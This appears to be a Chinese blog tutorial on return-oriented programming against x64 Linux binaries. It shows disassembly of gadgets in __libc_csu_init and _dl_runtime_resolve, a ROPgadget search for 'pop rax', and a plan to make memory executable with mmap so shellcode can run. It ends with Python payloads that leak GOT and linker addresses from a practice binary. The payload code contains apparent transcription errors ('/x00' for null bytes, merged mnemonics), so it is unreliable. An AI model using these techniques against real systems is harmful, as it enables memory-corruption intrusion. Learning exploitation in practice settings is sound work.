ROP之gadgets和2free篇——学习

Posted on 2019-11-07 19:25  Volcano3511  阅读(645)  评论(0编辑  收藏  举报

TOC

介绍

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
在这次的教程中我们会带来通用gadgets和堆漏洞利用的技巧,欢迎大家继续学习。

通用 gadgets part2

上次讲到了__libc_csu_init()的一条万能gadgets,其实不光__libc_csu_init()里的代码可以利用,默认gcc还会有如下自动编译进去的函数可以用来查找gadgets。

//默认gcc自动编译进来的函数
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

除此之外在程序执行的过程中,CPU只会关注于PC指针的地址,并不会关注是否执行了编程者想要达到的效果。因此,通过控制PC跳转到某些经过稍微偏移过的地址会得到意想不到的效果。——就是利用函数汇编之后产生的部分语句

比如说说我们反编译一下__libc_csu_init()这个函数的尾部:

gdb-peda$ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
……
   0x0000000000400606 <+102>:   movrbx,QWORD PTR [rsp+0x8]
   0x000000000040060b <+107>:   movrbp,QWORD PTR [rsp+0x10]
   0x0000000000400610 <+112>:   mov    r12,QWORD PTR [rsp+0x18]
   0x0000000000400615 <+117>:   mov    r13,QWORD PTR [rsp+0x20]
   0x000000000040061a <+122>:   mov    r14,QWORD PTR [rsp+0x28]
   0x000000000040061f <+127>:   mov    r15,QWORD PTR [rsp+0x30]
   0x0000000000400624 <+132>:   add    rsp,0x38
   0x0000000000400628 <+136>:   ret  

可以发现我们可以通过rsp控制r12-r15的值,但我们知道x64下常用的参数寄存器是rdi和rsi,控制r12-r15并没有什么太大的用处。
但是请看

gdb-peda$ x/5i 0x000000000040061a
   0x40061a <__libc_csu_init+122>:  mov    r14,QWORD PTR [rsp+0x28]
   0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret  
gdb-peda$ x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+123>:  mov    esi,DWORD PTR [rsp+0x28]
   0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret    
   0x400629:    nop    DWORD PTR [rax+0x0]
gdb-peda$ x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+128>:  mov    edi,DWORD PTR [rsp+0x30]
   0x400624 <__libc_csu_init+132>:  add    rsp,0x38
   0x400628 <__libc_csu_init+136>:  ret    
   0x400629:    nop    DWORD PTR [rax+0x0]
   0x400630 <__libc_csu_fini>:  repz ret 

虽然edi和esi只能控制低32位的数值,但已经可以满足我们的很多的rop需求了。

除了程序默认编译进去的函数,如果我们能得到libc.so或者其他库在内存中的地址,就可以获得到大量的可用的gadgets。

_dl_runtime_resolve()

这里就介绍一个_dl_runtime_resolve()中的gadget,通过这个gadget可以控制六个64位参数寄存器的值,当我们使用参数比较多的函数的时候(比如mmap和mprotect)就可以派上用场了。

反编译:

0x7ffff7def200 <_dl_runtime_resolve>:   sub    rsp,0x38
0x7ffff7def204 <_dl_runtime_resolve+4>: mov    QWORD PTR [rsp],rax
0x7ffff7def208 <_dl_runtime_resolve+8>: mov    QWORD PTR [rsp+0x8],rcx
0x7ffff7def20d <_dl_runtime_resolve+13>:    mov    QWORD PTR [rsp+0x10],rdx
0x7ffff7def212 <_dl_runtime_resolve+18>:    mov    QWORD PTR [rsp+0x18],rsi
0x7ffff7def217 <_dl_runtime_resolve+23>:    mov    QWORD PTR [rsp+0x20],rdi
0x7ffff7def21c <_dl_runtime_resolve+28>:    mov    QWORD PTR [rsp+0x28],r8
0x7ffff7def221 <_dl_runtime_resolve+33>:    mov    QWORD PTR [rsp+0x30],r9
0x7ffff7def226 <_dl_runtime_resolve+38>:    movrsi,QWORD PTR [rsp+0x40]
0x7ffff7def22b <_dl_runtime_resolve+43>:    movrdi,QWORD PTR [rsp+0x38]
0x7ffff7def230 <_dl_runtime_resolve+48>:    call   0x7ffff7de8680 <_dl_fixup>
0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11

0x7ffff7def235开始,就是这个通用gadget的地址了。通过这个gadget我们可以控制rdi,rsi,rdx,rcx, r8,r9的值。

但要注意的是_dl_runtime_resolve()在内存中的地址是随机的。所以我们需要先用information leak得到_dl_runtime_resolve()在内存中的地址。那么_dl_runtime_resolve()的地址被保存在了哪个固定的地址呢?

通过反编译level5程序我们可以看到write@plt()这个函数使用PLT [0] 去查找write函数在内存中的地址,函数jump过去的地址*0x600ff8其实就是_dl_runtime_resolve()在内存中的地址了。

所以只要获取到0x600ff8这个地址保存的数据,就能够找到_dl_runtime_resolve()在内存中的地址:

另一个要注意的是,想要利用这个gadget,我们还需要控制rax的值,因为gadget是通过rax跳转的:

所以我们接下来用ROPgadget查找一下libc.so中控制rax的gadget:

ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax"
0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000023950 : pop rax ; ret
0x000000000019176e : pop rax ; ret 0xffed
0x0000000000123504 : pop rax ; ret 0xfff0

0x0000000000023950刚好符合我们的要求。有了pop rax_dl_runtime_resolve这两个gadgets,我们就可以很轻松的调用想要的调用的函数了。

利用mmap执行任意shellcode

看了这么多rop后是不是感觉我们利用rop只是用来执行system有点太不过瘾了?另外网上和msf里有那么多的shellcode难道在默认开启DEP的今天已经没有用处了吗?并不是的,我们可以通过mmap或者mprotect将某块内存改成RWX(可读可写可执行),然后将shellcode保存到这块内存,然后控制pc跳转过去就可以执行任意的shellcode了,比如说建立一个socket连接等。下面我们就结合上一节中提到的通用gadgets来让程序执行一段shellcode。

我们测试的目标程序还是level5。在exp中,我们首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write_dl_runtime_resolve的地址。

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "/x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload1 += "/x00"*56
payload1 += p64(main)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=linker_point, rdx=4)
payload2 =  "/x00"*136
payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload2 += "/x00"*56
payload2 += p64(main)